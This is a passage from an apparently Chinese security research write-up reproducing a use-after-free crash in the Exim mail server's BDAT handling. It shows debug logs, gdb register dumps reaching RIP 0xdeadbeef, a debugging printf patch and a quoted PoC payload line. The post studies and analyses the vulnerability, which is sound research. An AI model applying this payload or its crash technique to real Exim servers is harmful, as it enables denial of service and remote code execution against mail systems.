class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> after rewriting </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">local</span><span class="pln"> additions</span><span class="pun">:</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L0"><code><span class="pun">......一堆不可显字符</span></code></li><li class="L1"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="typ">Data</span><span class="pln"> file name</span><span class="pun">:</span><span class="pln"> </span><span class="str">/var/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span><span class="com">//input//1eKcjF-00028V-5Y-D</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> lost </span><span class="kwd">while</span><span class="pln"> reading message data</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Lost</span><span class="pln"> incoming connection</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443048</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443068</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443098</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430c8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430f8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443128</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443158</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443188</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> child </span><span class="lit">8215</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">--------------------------------------------</span></code></li><li class="L5"><code><span class="com"># meh的debug信息</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> search_tidyup called</span></code></li><li class="L0"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L1"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L2"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L3"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L4"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">127.0</span><span class="pun">.</span><span class="lit">0.1</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L5"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> child </span><span class="lit">21724</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>发现的确是抛异常了,但是跟meh的debug信息在最后却不一样,然后使用gdb进行调试,发现:
1<ol class="linenums"><li class="L0"><code><span class="pln">RAX </span><span class="lit">0xfbad240c</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x30</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0xffffffffffffffd4</span></code></li><li class="L3"><code><span class="pln"> RDX </span><span class="lit">0x2000</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x2b</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pun">*</span><span class="pln">R9 </span><span class="lit">0x24</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0x24</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x4a69e8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> push rbp</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x1a9</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x24431b8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x5e</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x2000</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffd75b862c0</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7ffd75b862d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xffffffffffffffff</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L7"><code><span class="pun">--------------</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun"><</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">></span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L9"><code><span class="pun">------------</span></code></li><li class="L0"><code><span class="pln"> </span><span class="typ">Program</span><span class="pln"> received signal SIGSEGV </span><span class="pun">(</span><span class="pln">fault address </span><span class="lit">0xfbad2414</span><span class="pun">)</span></code></li></ol>根本就不是meh描述的利用UAF造成的crash,继续研究,发现如果把debug all的选项
-d+all
换成只显示简单的debug信息的选项-dd
,则就不会抛异常了1<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo </span><span class="pun">./</span><span class="pln">build</span><span class="pun">-</span><span class="typ">Linux</span><span class="pun">-</span><span class="pln">x86_64</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L3"><code><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> child </span><span class="lit">8268</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> normal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>又仔细读了一遍meh在Bugzilla上的描述,看到这句,所以猜测有没有可能是因为padding大小的原因,才导致crash失败的?所以写了代码对padding进行爆破,长度从0-0x4000,爆破了一遍,并没有发现能成功造成crash的长度。
This PoC is affected by the block layout(yield_length), so this line:
r.sendline('a'*0x1250+'\x7f')
should be adjusted according to the program state.所以可以排除是因为padding长度的原因导致PoC测试失败。
而且在漏洞描述页,我还发现Exim的作者也尝试对漏洞进行测试,不过同样测试失败了,还贴出了他的debug信息,和他的debug信息进行对比,和我的信息几乎一样。(并不知道exim的作者在得到meh的Makefile和log后有没有测试成功)。
所以,本来一次简单的漏洞应急,变为了对该漏洞的深入研究
浅入研究
UAF全称是use after free,所以我在free之前,patch了一个printf:
1<ol class="linenums"><li class="L0"><code><span class="com"># src/store.c</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">448</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">449</span><span class="pln"> store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L4"><code><span class="lit">450</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pun">......</span></code></li><li class="L6"><code><span class="lit">481</span><span class="pln"> printf</span><span class="pun">(</span><span class="str">"--------free: %8p-------\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">482</span><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">483</span><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">484</span><span class="pln"> </span><span class="pun">}</span></code></li></ol>重新编译跑一遍,发现竟然成功触发了uaf漏洞:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L3"><code><span class="pun">--------</span><span class="pln">free</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x1e2c1b0</span><span class="pun">-------</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> child </span><span class="lit">8336</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>然后gdb调试的信息也证明成功利用uaf漏洞造成了crash:
1<ol class="linenums"><li class="L0"><code><span class="pun">*</span><span class="pln">RAX </span><span class="lit">0xdeadbeef</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0x1e29341</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xadbeef000000000a</span><span class="pln"> </span><span class="com">/* '\n' */</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">RDX </span><span class="lit">0x7df</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x46cedd</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_free_3</span><span class="pun">+</span><span class="lit">70</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> pop rbx</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pln"> R9 </span><span class="lit">0x7f054f32b700</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x7f054f32b700</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0xffff80fab41c4748</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x203</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x7f054dc69993</span><span class="pln"> </span><span class="pun">(</span><span class="pln">state</span><span class="pun">+</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x4ad5b6</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jb </span><span class="lit">0x4ad61d</span><span class="pln"> </span><span class="com">/* 'receive.c' */</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x7df</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x1e1d8f0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffe169262b8</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7f054d9275e7</span><span class="pln"> </span><span class="pun">(</span><span class="pln">free</span><span class="pun">+</span><span class="lit">247</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> add rsp</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x28</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0xdeadbeef</span></code></li><li 